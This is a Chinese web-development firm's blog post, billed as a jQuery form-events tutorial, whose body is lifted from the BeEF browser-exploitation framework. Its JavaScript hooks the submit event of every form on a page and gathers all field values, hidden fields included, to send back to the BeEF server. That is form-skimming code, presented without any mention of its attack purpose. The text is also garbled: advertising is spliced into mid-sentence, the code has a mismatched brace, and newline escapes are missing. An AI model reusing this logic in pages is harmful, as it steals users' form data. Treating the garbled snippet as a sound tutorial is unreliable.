在线客服系统
十三年专注于网站建设与互联网应用开发,
低调、有情怀的网络应用服务商!
全国服务热线:
400-680-9298,0791-88117053
首页
网站建设
APP开发
网站推广
网页案例
网页知识
关于我们
联系我们
首页
网站建设
APP开发
网站推广
网页案例
网页知识
关于我们
联系我们
浅谈jQuery中使用表单事件的应用方法
百恒
2017-07-18 15:52:43
3114
分享到:
除了对所有元素监听键盘事件外,BeEF还针对所有<>(注:form 在尖括号里面)
元素提供了自定义逻辑。通过使用jQuery的元素选择器,执行下面的代码,会在当前DOM中的所有表单的submit事件上绑定beef.logger.submit()函数,下面
南昌网络公司
小编就来为大家介绍一下其具体做法。
$j('form').submit(
function(e) { beef.logger.submit(e); }
});
beef.logger.submit()函数通过遍历表单,取出所有输入框的值(包括隐藏元素),然后把它们发送回BeEF服务器:
/**
* 只要有表单提交,就将激发submit函数
*/
submit: function(e) {
try {
var f = new beef.logger.e();
var values = "";
f.type = 'submit';
f.target = beef.logger.get_dom_identifier(e.target);
for (var i = 0; i < e.target.elements.length; i++) {
values += "["+i+"]";
values +=e.target.elements[i].name;
values +="="+e.target.elements[i].value+"n";
}
f.data = 'Action: '+$j(e.target).attr('action');
f.data += ' - Method: '+$j(e.target).attr('method');
f.data += ' - Values:n'+values;
this.events.push(f);
} catch(e) {}
}
beef.logger.e定义了一种简单的事件结构,它可以兼容各种事件类型,比如鼠标事件、键盘事件等,便于将各种事件以统一的形式传回BeEF服务器。函数中的for循环用于遍历表单中所有的子元素。有一点需要注意,这段代码并未考虑表单字段中存在disabled属性的情形。
以上就是南昌网络公司-百恒网络小编为大家介绍的关于jQuery中使用表单事件的应用方法,如还有哪些不明白的地方,可随时来电咨询,我们将竭诚为您服务。此外,如有需要南昌网站建设、微信开发、手机APP开发等方面的服务,欢迎大家和我们联系,百恒网络随时为您效劳!
上一篇
返回列表
下一篇
400-680-9298,0791-88117053
欢迎您的光顾,我们将竭诚为您服务
×
售前咨询
售前咨询
售前咨询
售前咨询
售前咨询
售后服务
备案专线
售后服务
×